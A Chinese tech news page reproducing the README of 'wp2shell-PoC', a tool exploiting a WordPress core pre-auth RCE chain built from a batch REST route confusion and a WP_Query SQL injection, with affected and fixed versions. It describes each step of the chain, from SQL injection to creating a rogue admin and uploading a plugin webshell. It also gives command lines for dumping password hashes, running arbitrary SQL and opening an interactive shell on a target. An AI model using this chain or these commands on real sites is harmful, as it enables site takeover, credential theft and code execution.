ESC
科技 1 分钟阅读

wp2shell-PoC:CVE-2026-63030与CVE-2026-60137 WordPress核心RCE漏洞链概念验证

安全研究人员发布wp2shell-PoC,验证WordPress核心CVE-2026-63030与CVE-2026-60137组合的未认证RCE漏洞链:REST API批处理路由混淆叠加WP_Query SQL注入,可完全接管站点并执行任意代码。WordPress 6.9.0–6.9.4与7.0.0–7.0.1受影响,6.9.5及7.0.2+已修复,建议立即升级。

来源:GitHub

wp2shell-PoC

⚠ 本工具仅用于教育目的或漏洞赏金计划。严禁在受控环境之外进行未授权使用。

概述

这是影响WordPress核心的wp2shell漏洞链的概念验证(PoC),结合了CVE-2026-63030与CVE-2026-60137。该项目演示了REST API批处理路由混淆漏洞与WP_Query SQL注入之间的相互作用,最终形成一条无需认证即可完全攻陷WordPress并实现远程代码执行(RCE)的攻击路径。

完整公告请阅读此处

工作原理

wp2shell是WordPress核心中的一条预认证RCE漏洞链,结合了CVE-2026-63030(批处理REST端点中的路由混淆)与CVE-2026-60137(WP_Query中的SQL注入)。

路由混淆: /wp-json/batch/v1通过以位置为索引的并行$matches和$validation数组处理多个子请求。一个路径格式错误的子请求(例如http://:)由于continue语句被追加到$validation但未追加到$matches,导致两个数组失去同步。后续请求会按本应属于下一个请求的处理器进行分发,从而绕过schema验证与权限检查。

SQL注入: 两次嵌套的批处理调用利用了这一点。外层批处理绕过方法白名单(通常阻止GET)。内层批处理向GET /wp/v2/posts传递一个标量author_exclude字符串——由于数组失步,它绕过了验证,WP_Query将未净化的字符串直接插入SQL,形成基于UNION的盲注。

缓存投毒: SQLi返回伪造的WP_Post对象,WordPress将其缓存于内存中。这些假文章包含[embed]短代码,使WordPress根据伪造引用创建真实的oembed_cache数据库行。

Changeset提权: 攻击者利用SQLi在内存中伪造一篇JSON中含"user_id": 1的customize_changeset文章。一个环检测gadget会触发wp_update_post()且不覆盖post_content,从而保留攻击者的payload。应用该changeset时会临时以管理员的身份执行。

Hook重入: 一篇状态为parse、类型为request的伪造文章会触发parse_request钩子,以所获得的管理员角色重放整个批处理请求。这一次,POST /wp/v2/users子请求成功执行,创建了一个新的管理员账户。

代码执行: 攻击者以所创建的管理员身份登录,并上传恶意插件以执行任意命令。

受影响版本

版本状态
WordPress 6.9.0 – 6.9.4受影响
WordPress 7.0.0 – 7.0.1受影响
WordPress 6.9.5已修复
WordPress 7.0.2+已修复

用法

使用此PoC的唯一要求是Python 3.8+。

在仓库目录下运行即可执行漏洞检查:

wp2shell.py http://victim.com

检查模式(默认)

执行单次漏洞检查。发送一个良性的批处理标记探测,可在不执行SQLi payload的情况下检测路由混淆漏洞。易受攻击的目标会返回HTTP 207,错误模式为parse_path_failed、block_cannot_read和rest_batch_not_allowed。

使用--confirm-sqli还可发送主动的SQLi确认payload。确认过程会先尝试UNION反射,若失败则退回到基于时延的探测。

检查单个目标(默认模式)

wp2shell.py http://target.com

以显式模式检查

wp2shell.py http://target.com --check

检查并确认SQLi

wp2shell.py http://target.com --check --confirm-sqli

读取模式 - 通过SQL注入提取数据

使用预认证SQL注入从数据库提取数据。默认使用--technique auto,按以下顺序尝试可用方法:

  • union - 通过UNION伪造一条假WP_Post行,并从REST响应中以||HEX(value)||形式读回其标题。每个值一个请求。速度最快。
  • error - 使用EXTRACTVALUE/UPDATEXML每次请求泄露约15字节。适用于目标会反射MySQL错误的情况(例如开启WP_DEBUG_DISPLAY)。
  • blind - 布尔二分搜索,每个字符约8次请求。以X-WP-Total头作为真/假信号。即使没有任何数据反射也能工作。

使用--technique union|error|blind强制指定技术。这些读取路径均为只读,不会向数据库写入。

服务器指纹(默认查询)

wp2shell.py http://target.com --read

导出登录名与密码哈希

wp2shell.py http://target.com --read --preset users

自定义SQL查询

wp2shell.py http://target.com --read --query "SELECT @@version"

强制使用blind技术

wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"

使用基于报错的技术提取

wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"

Shell模式

在目标服务器上执行命令。有两种工作模式:

有凭据时(以现有管理员身份登录并上传插件shell):

执行指定命令

wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id

交互式shell

wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive

无凭据时(预认证RCE - 运行完整的SQLi→管理员桥接,以生成的管理员身份登录,然后上传插件shell):

执行单条命令

wp2shell.py http://target.com --shell --cmd id

交互式shell

wp2shell.py http://target.com --shell --interactive

插件webshell以随机路径和每次运行唯一的token上传。上传的webshell会被自动删除。当预认证桥接创建管理员账户后,该生成账户会在shell会话结束后被自动删除。

所有参数列表:

参数描述
--check运行漏洞检查(未指定其他模式时的默认模式)
--read通过SQL注入提取数据
--shell在服务器上执行命令
--query读取模式的自定义SQL查询
--preset预定义查询预设(users、config、versions)
--techniqueSQLi提取技术:union、error、blind或auto(默认)
--confirm-sqli检查后发送SQLi确认payload
--cmdshell模式下要执行的命令(默认:id)
--interactive, -i交互式shell模式
--user认证shell的管理员用户名
--password认证shell的管理员密码
--proxyHTTP/HTTPS代理(例如http://127.0.0.1:8080)
--timeout请求超时时间(秒)(默认:30)
--verbose, -v详细输出

参考资料:

  1. https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/
  2. https://www.picussecurity.com/resource/blog/cve-2026-63030-and-cve-2026-60137-wp2shell-wordpress-rce-explained

免责声明

本工具仅用于教育目的或漏洞赏金计划。严禁在受控环境之外进行未授权使用。